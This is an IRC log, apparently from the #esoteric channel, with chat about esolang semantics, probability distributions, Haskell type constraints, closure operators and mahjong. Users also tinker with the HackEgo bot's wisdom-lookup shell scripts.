= nand(f(x,y),g(y)) 03:50:50 <orby> so if f f g(3), then f(true, true, false) := (((f(true, true, false) nand g(false)) nand g(false)) nand g(false))... 03:50:52 <oerjan> that's a paradox if g(y) is true. 03:51:14 <orby> I don't think so, because each nand alternates 03:51:28 <orby> and g(y) is either true or false 03:51:39 <orby> so one of them trips a nand 03:51:51 <orby> or maybe I'm just confusing myself 03:52:15 <zzo38> What is the probability distribution of the difference of two independent uniform random variables with different ranges? 03:52:21 * orby is thinking 03:52:28 <oerjan> if you don't consider the inner f(x,y) to give the same result, then you have nondeterminism. 03:53:44 <zzo38> (And what is the way to figure it?) 03:54:53 <orby> yeah, I think you're right 03:55:57 <orby> but isn't that just the equivalent of an infinite loop? 03:56:01 <oerjan> zzo38: you could draw a rectangle representing the ranges of each, then diagonal lines where the subtraction is constant, then the probability of a difference should be the length of the intersection. 03:56:17 -!- augur has joined. 03:56:37 <oerjan> that looks like it would be a piecewise linear thing. 03:56:47 <oerjan> or wait 03:56:59 <oerjan> yes. 03:57:29 <oerjan> *proportional to the length. 03:57:35 <zzo38> I intend the equation rather than the graph, but OK 03:57:48 <oerjan> well i'm too lazy to find the equation. 03:58:37 <zzo38> What is the method of figuring out the equation? 03:59:02 <oerjan> geometry? 04:01:11 <oerjan> orby: it's an infinite loop into the past, yeah 04:01:31 <orby> hmm, consider f 1 g, g 1 f, f(true) := (true NAND g(true)) = (true NAND (true NAND f(true)) 04:01:56 <orby> if we were using a reversible gate rather than NAND, then it'd be possible to isolate the f's 04:02:36 <orby> but it would be much less concise :( 04:09:01 <orby> oerjan: what if we introduced a third truth value for undeterminable 04:09:56 <oerjan> zzo38: oh. subtracting is the same as adding after negating the range of the second variable. 04:10:01 <orby> so, in the case above, f(true) = undeterminable, f(false) = true 04:12:24 <orby> the problem of deciding whether or not a function is determinable is probably undecidable :( 04:12:29 <zzo38> oerjan: Yes, it is that. (I am still not quite sure how to figure it?) 04:12:38 <zzo38> (But I did realize that already) 04:15:55 <oerjan> oh hm i'm thinking wrong about the scaling factor 04:17:31 <oerjan> ok when adding ranges [0,a] and [0,b] where b >=a, i think the distribution function is x, 0 <= x <= a; sqrt(2), a <= x <= b; a+b-x, b <= x <= a+b 04:18:45 <oerjan> probability density function, that is. 04:18:50 <oerjan> er 04:19:42 <oerjan> make that sqrt(2) into 1, maybe. 04:19:54 <oerjan> (it was left over after i fixed the scaling for the rest) 04:20:57 <oerjan> zzo38: ^ 04:21:07 <zzo38> I did think of setting the ranges to start at zero, actually, so I suppose it can help. Because, then you just have one more constant so, is more easily. 04:21:48 <zzo38> But then, I would need the cdf rather than the pdf. Can that be figured by the antiderivative? 04:21:58 <oerjan> yeah 04:22:06 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 04:22:11 <oerjan> x^2/2 for the first branch 04:22:38 <oerjan> 1-(a+b-x)^2/2 for the last one, i should think 04:23:03 <oerjan> (by symmetry) 04:23:49 <zzo38> OK 04:25:05 <orby> What if we allowed first class functions and used explicit function evaluation, so f f 1 would be ((f(x))(y))(z) := (((f nand x) nand y) nand z), wouldn't that allow for the equivalent of unbounded memory access? 04:28:14 <oerjan> oh wait i'm still messing up the scaling. 04:30:23 <oerjan> a*x^2/(2*b), 1 - (a+b-x)^2/(2*a*b) 04:36:17 <oerjan> wait wat 04:36:23 <oerjan> x^2/(2*a*b) 04:39:37 -!- Zarutian has quit (Ping timeout: 240 seconds). 04:45:20 <orby> I think that makes more sense with tail recursion, so f 1 f would be (f(x))(y) ... := (x nand (y nand f)) ... then f would consume an infinite number of values and would halt and return 1 iff one of those values was 0 04:47:14 <orby> no that's not exactly right, it would return the parity of the position of the first 0 04:47:51 <oerjan> zzo38: x^2/(2*a*b) for x <= a; a/(2*b) + (x - a)/b for a <= x <= b; 1 - (a+b-x)^2/(2*a*b) for b <= x <= a+b 04:48:50 <oerjan> um the middle one is also x/b - a/(2*b) 04:49:41 <oerjan> and that seems to fit together at least. 05:04:51 <zzo38> OK 05:37:16 <rdococ> hbv 06:10:36 <shachaf> Cale: So if you want to put "Foo a" in a data type, you have three options: data T = T (forall a. Foo a); data T = forall a. T (Foo a); data T a = T (Foo a) 06:11:12 <shachaf> What if you have a constraint? You can write data T = T (forall a. K a => Foo a); data T = forall a. K a => T (Foo a) 06:11:22 <shachaf> Is there an equivalent for the parameterized version? 06:13:10 -!- dingbat has quit (Quit: Connection closed for inactivity). 06:15:45 <\oren\> Apparently literally every empire is denouncing Egypt 06:16:53 <oerjan> @let data T a = forall b. (b ~ a, Ord a) => T (Maybe a) 06:16:55 <lambdabot> Defined. 06:17:04 <oerjan> :t T 06:17:05 <lambdabot> Ord a => Maybe a -> T a 06:18:25 <oerjan> @let data U a = Ord a => T (Maybe a) 06:18:26 <lambdabot> .L.hs:193:12: error: 06:18:26 <lambdabot> Multiple declarations of ‘T’ 06:18:26 <lambdabot> Declared at: .L.hs:191:12 06:18:32 <oerjan> @let data U a = Ord a => U (Maybe a) 06:18:34 <lambdabot> Defined. 06:18:44 <oerjan> :t U 06:18:45 <lambdabot> Ord a => Maybe a -> U a 06:18:50 <oerjan> seems equivalent, hm 06:19:19 <oerjan> shachaf: anything wrong with that? 06:19:27 <shachaf> With what? 06:19:32 <shachaf> Oh, I see. 06:19:41 <shachaf> You could also write data U a = U (Ord a => Maybe a) 06:19:55 <shachaf> One is "existential", the other is "universal". 06:20:25 <shachaf> But neither is a "parameter" 06:20:31 <shachaf> Whatever that would mean. Maybe it's meaningless. 06:20:33 <oerjan> how so? 06:20:46 <shachaf> I mean that one is a tuple and the other is a function. 06:21:40 <shachaf> Your U a = (Ord a *> Maybe a) 06:22:48 <oerjan> i have no idea what you're asking, then. 06:25:25 <shachaf> I'm not sure either. 06:26:01 <shachaf> There are three standard ways to bind a variable, and only two standard ways to constrain it. 06:26:18 <shachaf> Well, the *> version is the opposite of a constraint. Whatever that is. 06:26:31 <shachaf> An endowment. 06:28:30 <oerjan> @data Ord a => AncientEvil a => A a 06:28:30 <lambdabot> Unknown command, try @list 06:28:34 <oerjan> @let data Ord a => AncientEvil a => A a 06:28:35 <lambdabot> Parse failed: Illegal data/newtype declaration 06:28:43 <oerjan> ooops 06:28:47 <oerjan> @let data Ord a => AncientEvil a = A a 06:28:47 <lambdabot> .L.hs:195:6: error: 06:28:47 <lambdabot> Illegal datatype context (use DatatypeContexts): Ord a => 06:29:07 <oerjan> it's so evil my fingers refuse to type it correctly 06:43:39 -!- sleffy has quit (Ping timeout: 240 seconds). 06:50:22 -!- augur has quit (Remote host closed the connection). 06:50:39 <shachaf> Yes, there's that, but that's clearly not it. 06:50:42 <shachaf> Whatever it is. 07:21:07 -!- orby has quit (Ping timeout: 260 seconds). 07:34:35 -!- augur has joined. 07:34:43 -!- augur has quit (Remote host closed the connection). 07:36:02 -!- augur has joined. 08:22:59 <shachaf> You must do X and you must do Y <-> you must do (X and Y) 08:23:14 <shachaf> You may do X and you may do Y <-> you may do (X or Y) 08:23:35 <shachaf> What's a logic context for that? 08:23:49 <shachaf> Constraints vs. freedoms. 08:24:46 <oerjan> deontic logic? 08:25:41 <shachaf> whoa, that's more specific an answer than I expected. 08:35:36 -!- augur has quit (Remote host closed the connection). 08:35:59 -!- augur has joined. 08:37:10 -!- augur has quit (Remote host closed the connection). 08:47:54 -!- xfix has quit (Read error: Connection reset by peer). 08:49:10 -!- xfix has joined. 08:49:30 -!- prooftechnique has quit (Ping timeout: 246 seconds). 08:50:12 -!- j-bot has quit (Ping timeout: 260 seconds). 08:54:34 -!- prooftechnique has joined. 09:03:00 <rdococ> hi 09:03:07 -!- Hoolootwo has quit (Ping timeout: 255 seconds). 09:05:06 <shachaf> oerjan: But you have the same situation with e.g. Haskell-style constraints. 09:05:09 -!- FireFly has quit (Ping timeout: 600 seconds). 09:05:17 -!- AnotherTest has joined. 09:05:19 <shachaf> I think there's a more general thing I'm thinking of whose name I can't remember. 09:05:59 -!- FireFly has joined. 09:07:17 <oerjan> shachaf: modal logic? the "alethic" section of that wikipedia page might also match dependent on exactly what you mean by "must" and "may". 09:07:39 <shachaf> Maybe. 10:05:18 -!- MoALTz has joined. 10:10:07 -!- oerjan has quit (Quit: Nite). 10:31:21 -!- Phantom_Hoover has joined. 10:49:25 <diginet> A modal logic programming language would be col 11:05:34 -!- LKoen has joined. 11:06:26 -!- AnotherTest has quit (Ping timeout: 260 seconds). 11:17:29 -!- AnotherTest has joined. 11:25:11 <Jafet> would you think, perhaps, that it would necessarily be cool? 11:56:33 -!- boily has joined. 12:03:26 -!- LKoen has quit (Remote host closed the connection). 12:13:31 <boily> wisdom 12:13:33 <HackEgo> madness//madness lies thataway. 12:19:33 * rdococ pushes a number onto the stack 12:21:04 * boily observes rdococ pushing numbers on stacks 12:21:40 * rdococ writes a blank onto the tape 12:22:27 <rdococ> I've just realized why the universe is so weird at the microscopic level. 12:22:46 <rdococ> it runs on a hybrid of Entropy and Malbolge :P 12:50:54 -!- DHeadshot has joined. 13:38:38 -!- augur has joined. 13:43:21 -!- augur has quit (Ping timeout: 260 seconds). 13:51:20 -!- MoALTz has quit (Quit: Leaving). 13:54:03 -!- yorick has joined. 14:12:43 -!- MoALTz has joined. 14:33:38 -!- bender has joined. 14:34:24 -!- LKoen has joined. 14:48:06 -!- bender has quit (Quit: [rebooting]). 14:51:24 -!- bender has joined. 15:10:12 -!- DHeadshot has quit (Ping timeout: 240 seconds). 15:20:08 -!- boily has quit (Quit: YAK CHICKEN). 15:54:22 -!- Zarutian has joined. 16:37:39 -!- FreeFull has joined. 16:52:40 -!- DHeadshot has joined. 17:33:09 -!- augur has joined. 17:42:44 -!- augur_ has joined. 17:44:46 -!- erkin has joined. 17:45:06 -!- bender has quit (Ping timeout: 258 seconds). 17:46:11 -!- sleffy has joined. 17:46:22 -!- augur has quit (Ping timeout: 240 seconds). 17:46:30 -!- MoALTz_ has joined. 17:49:03 -!- contrapumpkin has joined. 17:49:42 -!- MoALTz has quit (Ping timeout: 240 seconds). 17:51:32 -!- bender has joined. 17:58:58 -!- augur has joined. 18:02:02 -!- augur_ has quit (Ping timeout: 240 seconds). 18:09:56 -!- bender has quit (Ping timeout: 260 seconds). 18:12:42 -!- augur_ has joined. 18:16:21 -!- augur has quit (Ping timeout: 260 seconds). 18:16:30 -!- augur has joined. 18:19:09 -!- MoALTz_ has changed nick to MoALTz. 18:20:08 -!- augur_ has quit (Ping timeout: 255 seconds). 18:24:52 <\oren\> when do le polls fermay in le fronsais election 18:32:30 -!- sleffy has quit (Ping timeout: 260 seconds). 18:36:04 -!- sleffy has joined. 18:40:32 -!- Phantom_Hoover has quit (Quit: Leaving). 18:53:21 <shachaf> oerjan: More generally, you have F(A and B) = F(A) and F(B) vs. F(A or B) = F(A) and F(B) 18:53:55 <shachaf> What are those called? 18:58:04 -!- augur has quit (Remote host closed the connection). 19:24:25 <quintopia> i feel like i'm letting oerjan down right now 19:24:59 -!- augur has joined. 19:25:06 <shachaf> he has that effect on people hth 19:25:33 <quintopia> sitting in a theatef for a performance of the royal shakespeare company's matilda 19:28:34 -!- Zarutian has quit (Quit: Zarutian). 19:34:13 -!- augur has quit (Remote host closed the connection). 19:46:18 -!- Zarutian has joined. 19:47:02 -!- Zarutian has quit (Read error: Connection reset by peer). 19:47:37 -!- Zarutian has joined. 19:54:07 -!- bender has joined. 20:00:11 -!- bender has quit (Ping timeout: 260 seconds). 20:00:38 -!- angrykoala has joined. 20:02:35 -!- bender has joined. 20:05:32 <\oren\> https://www.youtube.com/watch?v=De4-aF2DIiw 20:18:52 -!- Cale has quit (Remote host closed the connection). 20:19:09 -!- angrykoala has quit (Quit: Page closed). 20:21:22 -!- Cale has joined. 20:27:18 -!- DHeadshot has quit (Ping timeout: 260 seconds). 20:44:44 -!- LKoen has quit (Remote host closed the connection). 20:47:21 -!- augur has joined. 20:52:02 -!- sleffy has quit (Ping timeout: 260 seconds). 20:55:36 -!- bender has quit (Ping timeout: 260 seconds). 20:57:05 -!- sleffy has joined. 20:58:45 -!- j-bot has joined. 20:59:34 -!- Cale has quit (Remote host closed the connection). 21:33:31 -!- MoALTz has quit (Quit: Leaving). 21:57:06 -!- bender has joined. 22:02:24 -!- Kanoxbox_ has joined. 22:07:55 -!- Kanoxbox_1 has joined. 22:09:42 -!- Kanoxbox_ has quit (Ping timeout: 240 seconds). 22:12:47 -!- sebbu2 has joined. 22:14:11 -!- Kanoxbox_ has joined. 22:15:30 -!- Kanoxbox_1 has quit (Ping timeout: 240 seconds). 22:15:59 -!- sebbu has quit (Ping timeout: 240 seconds). 22:17:37 -!- Kanoxbox_ has left. 22:39:16 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:40:22 -!- LKoen has joined. 22:42:38 <\oren\> https://www.youtube.com/watch?v=328TJP0WDvE 22:44:52 -!- LKoen has quit (Ping timeout: 258 seconds). 22:49:19 <\oren\> https://www.youtube.com/watch?v=Va9GbB-Meok&t=220s 22:58:17 -!- bender has quit (Ping timeout: 258 seconds). 23:32:34 -!- LKoen has joined. 23:33:56 -!- augur has quit (Remote host closed the connection). 23:34:33 -!- augur has joined. 23:34:39 -!- DHeadshot has joined. 23:38:42 -!- augur has quit (Ping timeout: 240 seconds). 23:49:51 -!- Zarutian has quit (Quit: Zarutian). 23:51:37 -!- DHeadshot has quit (Ping timeout: 240 seconds). 2017-04-24: 00:10:54 -!- sebbu2 has changed nick to sebbu. 00:32:30 -!- oerjan has joined. 00:43:25 -!- boily has joined. 00:43:41 <boily> wisdom 00:43:48 <oerjan> boheily 00:43:53 <boily> hellørjan! 00:43:55 <HackEgo> category-helpdesk//category-helpdesk is a helpdesk with identity and composition. This channel isn't it. 00:44:36 <boily> alercah: hellorcah. I got on the receiving end of an oya yakuman today. ow. 00:44:55 <boily> (giving, maybe? burning end? business end?) 00:45:57 <oerjan> le/rn oya yakuman//We don't know what an oya yakuman is, but based on boily's reaction, it must be quite painful. 00:46:01 <HackEgo> Learned 'oya yakuman': We don't know what an oya yakuman is, but based on boily's reaction, it must be quite painful. 00:46:36 <boily> I was aiming for riichi tan pin iipeikou dora, nothing fancy, and that guy pao'd me on a chinroutou. 00:46:41 <boily> east one, bust, new game! 00:46:46 <alercah> oooof 00:46:55 * boily sighs in despair and curses the usual divinities 00:46:57 <alercah> wait how do you pao chinroutou? 00:47:11 <alercah> or do you just mean pow 00:47:13 <oerjan> boily: you know, if i hadn't known, i'd have assumed you were doing some fancy martial arts. 00:47:37 <boily> that's the thing, we weren't sure about pao on that, so we just assumed complete responsibility and that was it. 00:47:48 <boily> I mean, better a swift death than a prolonged one, eh? 00:48:10 <alercah> there's no pao on chinroutou because it's not guaranteed, even after four calls 00:48:27 <alercah> pao is only for when you guarantee yakuman 00:48:42 <alercah> (also sometimes for dealing into a daiminkan rinshan tsumo) 00:48:44 <boily> yeah. we checked afterwads to make sure, and no pao on that. 00:49:04 <int-e> wee I made a lucky guess and got the game correct 00:56:22 <boily> shuffling tiles is fun! 00:56:44 <alercah> +1 00:56:51 <alercah> haven't been doing enough of it 01:30:28 <boily> wisdom 01:30:29 <HackEgo> spork//A spork is something to be randomly held in front of penguins. 01:34:12 -!- sleffy has quit (Ping timeout: 240 seconds). 01:36:34 -!- sleffy has joined. 01:37:18 * oerjan wonders what that's a reference to. 01:37:31 <shachaf> do you actually 01:37:41 <shachaf> cwlprits spork 01:37:49 <HackEgo> boil̈y boil̈y 01:38:11 <oerjan> yes actually. 01:38:28 <shachaf> @google spork penguin 01:38:30 <lambdabot> http://knowyourmeme.com/memes/katy-t3h-pengu1n-of-d00m 01:38:30 <lambdabot> Title: Katy t3h PeNgU1N oF d00m | Know Your Meme 01:38:32 * oerjan finds an ominously looking penguin wielding one, but that seems backwards. 01:38:32 <shachaf> that thing 01:39:21 <boily> yes I actual. 01:42:43 <oerjan> oh hm i guess "held in front of" doesn't necessarily imply that it's not the penguin holding it. 01:42:54 <oerjan> also that site uses way too much cpu. 01:43:43 <oerjan> although i guess i was unlucky the first time and got a broken ad. 01:45:05 <oerjan> <diginet> A modal logic programming language would be col <-- i think haskell's monads may count in the curry-howard sense. 01:47:07 <oerjan> <shachaf> he has that effect on people hth <-- wat. 01:47:24 <boily> who, what, why, when, how, dequossé? 01:47:42 <shachaf> oerjan: I had to look up the context to remember. 01:47:46 <oerjan> me, apparently 01:47:57 <shachaf> The effect making people feel like they're letting you down. 01:48:24 <oerjan> <shachaf> oerjan: I had to look up the context to remember. <-- i think you've earned that. 01:48:49 <shachaf> I feel like I'm letting you down by not remembering it. 01:48:54 <oerjan> shachaf: that's absurd for a person as lazy as i am. 01:49:21 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 01:49:37 <oerjan> also absent-minded. 01:51:14 <oerjan> <shachaf> oerjan: More generally, you have F(A and B) = F(A) and F(B) vs. F(A or B) = F(A) and F(B) <-- don't remember, although the first is obviously some kind of homomorphism and the second dual to it 01:52:28 <shachaf> Of course s/and/intersection/ and s/or/union/ 01:53:05 <shachaf> What has the property F(A union B) = F(A) union F(B)? 01:53:16 <shachaf> https://en.wikipedia.org/wiki/Kuratowski_closure_axioms at least. 01:54:05 <oerjan> hm is kuratowski closure a monad. 01:55:24 <shachaf> A U cl(A) U cl(cl(A)) = cl(A U B) \ cl(ø) 01:55:28 <shachaf> good axiom 01:55:57 <oerjan> that seems wrong. 01:56:00 <shachaf> er, that last one is B 01:56:02 <shachaf> middle one 01:56:07 <shachaf> A U cl(A) U cl(cl(B)) = cl(A U B) \ cl(ø) 01:56:08 <shachaf> that one 01:56:25 <oerjan> is that some kind of 1-axiom summary 01:57:03 <shachaf> Yes. 01:57:57 <shachaf> Closure operators in general are monads, aren't they? 01:58:05 <oerjan> quite possibly. 02:02:57 <oerjan> A <= cl(A), cl(A) <= cl(A U B), cl(cl(B)) <= cl(B) follow immediately. then cl(ø)=ø, then cl(A) U cl(B) = cl(A U B). 02:05:22 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 02:06:51 <alercah> this smells like matroids to me 02:06:56 <alercah> is this matroids? 02:07:29 <shachaf> halerca 02:07:52 <oerjan> alercah: no, just topology 02:07:53 <shachaf> I don't know about matroids but apparently closure operators are involved. 02:07:58 <shachaf> So probably? 02:08:09 <alercah> oerjan: oh that's less interesting 02:08:15 -!- hppavilion[1] has joined. 02:08:20 <oerjan> ? topology 02:08:25 <shachaf> oerjan: I do like the alternative axiom for closure operators. 02:08:26 <HackEgo> Topology is another name for topos theory. 02:08:40 <shachaf> x <= cl(y) iff cl(x) <= cl(y) 02:09:51 <hppavilion[1]> I seem to remember that there's a service to register domains that centers itself on privacy, but I can't remember what it is... 02:10:05 <shachaf> sounds like they're doing good work 02:17:12 -!- sleffy has quit (Ping timeout: 240 seconds). 02:19:16 -!- sleffy has joined. 02:23:37 <hppavilion[1]> shachaf: ...good point. But I need to find it. 02:24:46 <hppavilion[1]> Ah, I was thinking of Gandi 02:24:55 <hppavilion[1]> Maybe not "centers", but yeah. 02:29:08 <\oren\> hppavilion[1]: Gandhi keeps nuking me 02:29:09 <oerjan> shachaf: that alternative doesn't seem to disallow cl(A) = X for all A <= X. 02:29:29 <hppavilion[1]> oerjan: That's only if you don't allow alternative facts 02:29:39 <shachaf> oerjan: This is for closure operators, not Kuratowski closure operators. 02:29:42 <oerjan> OKAY 02:30:03 * oerjan sidles back under rock 02:30:36 <hppavilion[1]> oerjan: WHOOPWHOOPWHOOPWHOOPWHOOPWHOOPWHOOPWHOOP I assume? 02:30:39 -!- sleffy has quit (Ping timeout: 258 seconds). 02:31:51 <oerjan> i am not zoidberg hth 02:32:22 <oerjan> did he spend much time under rocks? i've seen very little futurama. 02:33:45 <boily> oerjan is neither Zoidberg, nor Taneb hth 02:33:53 <oerjan> true! 02:37:57 <\oren\> https://www.youtube.com/watch?v=Va9GbB-Meok&t=3577s 02:41:47 <hppavilion[1]> ? Zoidberg 02:41:48 <HackEgo> Zoidberg? ¯\(°​_o)/¯ 02:42:41 <hppavilion[1]> learn Zoidberg is almost definitely a distinct entity from oerjan (p = .02) 02:42:43 <HackEgo> Learned 'zoidberg': Zoidberg is almost definitely a distinct entity from oerjan (p = .02) 02:42:59 <hppavilion[1]> ? oerjan 02:43:00 <HackEgo> Your omnipheasant principal witty arrant darth oerjan the indecisive is a hazy expert in merry compaction. Also a Glaneep who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it. 02:43:03 <hppavilion[1]> ? \oren\ 02:43:04 <HackEgo> ​\oren\ is an attempt to improve upon oren. The only thing it actually improved was name recognizability, and it made everything else... unenthickenable, eh? 02:43:23 <hppavilion[1]> ? œrjan 02:43:24 <HackEgo> ​œrjan is oerjan and ørjan's superhero third cousin (once removed) from Québec. He got his cheesy powers by falling into a giant poutine bowl. 02:43:45 <hppavilion[1]> ? \oerjan\ 02:43:46 <HackEgo> ​\oerjan\? ¯\(°​_o)/¯ 02:44:53 <hppavilion[1]> ? ørjan 02:44:54 <HackEgo> Your pal Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it. 02:45:03 <hppavilion[1]> ? øerjan 02:45:04 <HackEgo> ​øerjan? ¯\(°​_o)/¯ 02:45:33 <hppavilion[1]> ? ø 02:45:34 <HackEgo> ​ø is not going anywhere. 02:46:43 <oerjan> slwd zoidberg//s,,., 02:46:45 <HackEgo> zoidberg//Zoidberg is almost definitely a distinct entity from oerjan (p = .02). 02:48:02 <hppavilion[1]> Maybe learn ø? ¯\(°​_ø)/¯ 02:48:04 -!- boily has quit (Quit: PROCEDURE CHICKEN). 02:48:07 <hppavilion[1]> ? ? 02:48:08 <HackEgo> ​​? ¯\(°​_o)/¯ 02:48:10 <shachaf> Maybe not? 02:48:12 <shachaf> There are enough of those. 02:48:26 <shachaf> ¯\(°​_o)/¯ is scow 02:48:31 <hppavilion[1]> ʔ oerjan 02:48:32 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ʔ: not found 02:49:23 <hppavilion[1]> (clearly, ʔ should return the same as ?, but with a bunch of apostrophe'es mixed in) 02:49:35 <shachaf> Clearly not? 02:49:45 <shachaf> It should return the same thing as ?, but with all dots removed. 02:50:12 <hppavilion[1]> shachaf: /ʔ/ is IP for glottal stop 02:50:31 <shachaf> Yes, but ? isn't IPA 02:50:37 <hppavilion[1]> Which bad scifi writers like to use in alien languages, and represent by generously sprin'kling in apostrophes 02:50:48 <hppavilion[1]> *sigh* fine 02:50:49 <shachaf> And English speakers usually don't pronounce glottal stops for some reason. 02:50:52 <hppavilion[1]> ? bin/? 02:50:53 <HackEgo> bin/?? ¯\(°​_o)/¯ 02:50:58 <hppavilion[1]> er 02:51:02 <hppavilion[1]> cat bin/? 02:51:02 <HackEgo> ​#!/bin/bash \ topic=(echo "1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *//") \ topic1=(echo ''"topic" | sed 's/^\(\|$$//') \ topic2=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ $$"_topic2"_ = "_ngevd"_$$ -a $$-e ngevd$$ ]; \     then cat /dev/urandom; \     elif [ -e "$topic" ]; \ then cat "$topic"; \     elif [ -e "$topic 02:51:22 <hppavilion[1]> paste bin/? 02:51:23 <HackEgo> https://hackego.esolangs.org/fshg/index.cgi/file/tip/bin/%3F 02:51:47 <hppavilion[1]> cp bin/? bin/ʔ 02:51:48 <HackEgo> cp: missing destination file operand after ‘bin/? bin/ʔ’ \ Try 'cp --help' for more information. 02:51:50 <shachaf> What? 02:51:51 <shachaf> Stop it. 02:51:54 <shachaf> Don't do that. 02:51:54 <hppavilion[1]> Uh 02:52:00 <hppavilion[1]> shachaf: I thought you said it should? 02:52:08 <shachaf> Are you serious? 02:52:14 <shachaf> Why are you copying ? ? 02:52:21 <shachaf> There's no need to copy it to make this happen. 02:52:27 <hppavilion[1]> shachaf: ...oh yeah 02:52:29 <hppavilion[1]> right 02:52:36 <shachaf> Moreover there's no real need for ʔ to exist in the first place. 02:52:48 <shachaf> But if you want to make it, make bin/dedot and spend a while figuring out what it needs to do. 02:53:01 <hppavilion[1]> cat bin/lowercase2 02:53:02 <HackEgo> cat: bin/lowercase2: No such file or directory 02:53:05 <hppavilion[1]> cat bin/lowercase 02:53:06 <HackEgo> ​#!/bin/bash \ print_args_or_input "$@" | tr A-Z a-z | LANG=en_NZ.UTF-8 sed 'y/ØÅÆŒÞÐÄÖÜÁÉÍÓÚÝŁ/øåæœþðäöüáéíóúýł/'
02:53:18 <shachaf> (Remove combining characters, convert i to ı, etc.)
02:53:24 <hppavilion[1]> shachaf: Obviously?
02:53:39 <shachaf> But really it needn't exist at all.
03:01:16 -!- erkin has joined.
03:03:30 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
03:10:30 -!- hppavilion[1] has joined.
03:13:55 <oerjan> hppavilion[1]: i moved lowercase2 to lowercase
03:14:17 <oerjan> there was only one wisdom affected, and it seemed suitably ironic for it to be so
03:14:25 <hppavilion[1]> oerjan: ty
03:14:40 <hppavilion[1]> oerjan: å, I̊ åssůme̊?
03:14:44 <oerjan> yeah
03:14:53 <oerjan> or Å
03:15:08 <oerjan> cat wisdom/Å
03:15:08 <HackEgo> cat: wisdom/Å: No such file or directory
03:15:11 <hppavilion[1]> oerjan: I think I proposed making ? so it would case-sensitively search before normalizing.
03:15:16 <oerjan> dowg Å
03:15:24 <HackEgo> 10657:2017-04-13 <oerjän>  cd wisdom; mv {\xc3\x85,\xc3\xa5} \ 5303:2015-04-09 <Tanëb> learn \xc3\x85 _is_ a village in Norway, unless you\'re the BBC and don\'t understand things on top of letters.
03:15:38 <oerjan> hppavilion[1]: i know, but i dislike that idea.
03:15:48 <hppavilion[1]> oerjan: Also, lowercase2 still doesn't support exempli gråtiå Greek letters
03:16:32 <hppavilion[1]> π ετ ω φσ. Π ετ Ω and so forth
03:16:58 <oerjan> ? Π
03:16:59 <HackEgo> ​Π? ¯\(°​_o)/¯
03:17:03 * hppavilion[1] . ø Ø ( ωωω.google.com )
03:17:35 <hppavilion[1]> ? π
03:17:36 <HackEgo> ​π? ¯\(°​_o)/¯
03:19:15 <oerjan> hm wait, it was å
03:19:27 <oerjan> dowg å
03:19:35 <HackEgo> 10657:2017-04-13 <oerjän>  cd wisdom; mv {\xc3\x85,\xc3\xa5} \ 5304:2015-04-10 <oerjän> learn \xc3\xa5 is the same letter as \xc3\x85, unless you\'re HackEgo and don\'t understand things on top of letters.
03:20:41 -!- Mayoi has joined.
03:20:54 -!- Mayoi has changed nick to erkni.
03:20:58 -!- erkin has quit (Disconnected by services).
03:21:00 -!- erkni has changed nick to erkin.
03:21:11 <shachaf> ?
03:21:12 <HackEgo> ​? ¯\(°​_o)/¯
03:21:25 <shachaf> ? rainbow
03:21:26 <HackEgo> ​rainbow? ¯\(°​_o)/¯
03:27:09 -!- augur has joined.
03:27:59 <\oren\> https://youtu.be/5s8WlXgxtVc
04:01:13 <hppavilion[1]> Hm
04:01:32 <hppavilion[1]> Algebraic numbers:Roots::?:Logarithms
04:35:06 -!- bender has joined.
04:35:53 -!- sleffy has joined.
05:02:20 -!- sleffy has quit (Ping timeout: 260 seconds).
05:03:45 -!- sleffy has joined.
05:13:11 -!- sleffy has quit (Ping timeout: 260 seconds).
05:52:36 -!- sleffy has joined.
05:57:34 -!- sleffy has quit (Ping timeout: 260 seconds).
06:00:02 -!- sleffy has joined.
07:00:23 -!- FreeFull has quit.
07:12:56 -!- MoALTz has joined.
07:16:26 -!- sleffy has quit (Ping timeout: 260 seconds).
07:30:08 -!- AnotherTest has joined.
07:36:46 -!- AnotherTest has quit (Ping timeout: 259 seconds).
07:49:04 -!- hppavilion[1] has quit (Ping timeout: 268 seconds).
08:10:34 -!- augur has quit (Remote host closed the connection).
08:39:00 -!- augur has joined.
08:40:03 -!- augur has quit (Remote host closed the connection).
09:01:09 -!- augur has joined.
09:21:01 <Nistur> mornin' all
09:32:46 <rdococ> hi
09:34:15 <Nistur> o7
09:45:55 -!- augur has quit (Remote host closed the connection).
09:46:35 -!- augur has joined.
09:51:10 -!- augur has quit (Ping timeout: 255 seconds).
10:24:03 * rdococ is working on an image rotation algorithm
10:24:37 * Nistur wants to be working on an IF engine
10:26:16 <zzo38> A image rotation algorithm that is a single public domain C code I can include in my "Farbfeld Utilities" package
10:26:30 * Nistur is, instead, arguing with a horribly convoluted AI system -_-
10:26:44 <zzo38> What IF engine and what AI system, is that?
10:27:02 <Nistur> I will answer the second question first
10:27:23 <zzo38> OK
10:27:25 <rdococ> At the moment though, it just seems to output a blurred version of the nearest neighbor algorithm.
10:28:12 <Nistur> the AI system some idiot *cough*me*cough* wrote to control the enemies in this game I'm working on. The studio I work for hasn't announced it yet so I cannot comment too much, but as the studio only makes VR games, it's fairly safe to say it's a VR title
10:28:34 <rdococ> (Actually, it utilizes a transformation that results in a smaller image which must be upscaled. Still odd how it looks blurry, though.)
10:28:40 <zzo38> Ah, OK
10:28:48 <rdococ> (Since I haven't gotten to work on a new scaling algorithm yet.)
10:28:55 <zzo38> rdococ: Well, let to see once you fixed it
10:29:06 <Nistur> the IF engine is one I'll write from scratch because I have some stupid idea to make a 3D point and click adventure... which seems the logical jump, right? 3D adventure -> IF
10:29:49 <rdococ> Huh.
10:30:10 <rdococ> Apparently what I did was accidentally create the nearest neighbor interpolation in a complicated way.
10:30:14 <zzo38> One VM for IF system is TAVERN; currently there is not the extension for point and click adventure but it is one of the extensions I intended to add too, actually
